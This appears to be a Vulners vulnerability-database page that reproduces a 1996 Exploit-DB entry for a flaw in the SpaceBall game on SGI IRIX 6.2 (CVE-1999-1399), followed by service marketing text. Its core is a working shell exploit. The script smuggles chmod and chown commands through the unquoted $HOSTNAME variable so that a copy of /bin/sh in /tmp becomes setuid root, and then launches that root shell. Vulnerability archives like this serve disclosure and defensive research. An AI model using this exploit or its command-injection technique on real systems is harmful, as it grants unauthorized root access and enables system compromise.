Lucene search
+L

SGI IRIX 6.2 - SpaceWare

🗓️ 30 Oct 1996 00:00:00Reported by J.A. GuitierrezType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

Security flaw in SpaceBall game can compromise root account via $HOSTNAME variable execution.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-1999-1399
12 Sep 200104:00
cve
cvelist
Cvelist
CVE-1999-1399
12 Sep 200104:00
cvelist
euvd
EUVD
EUVD-1999-1380
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-1399
20 Aug 199704:00
nvd
source: https://www.securityfocus.com/bid/471/info

The SpaceBall game, shipped with Irix 6.2 from Silicon Graphics contains a security hole which could result in the compromise of the root account. By blindly taking the contents of the $HOSTNAME variable, and not placing quotes around it, the spaceball.sh program can be made to execute commands.

#!/bin/sh
SWDIR=/usr/local/SpaceWare
cp /bin/sh /tmp/sh
echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
echo 6 | HOSTNAME="/bin/chown root /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
/tmp/sh

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00885
39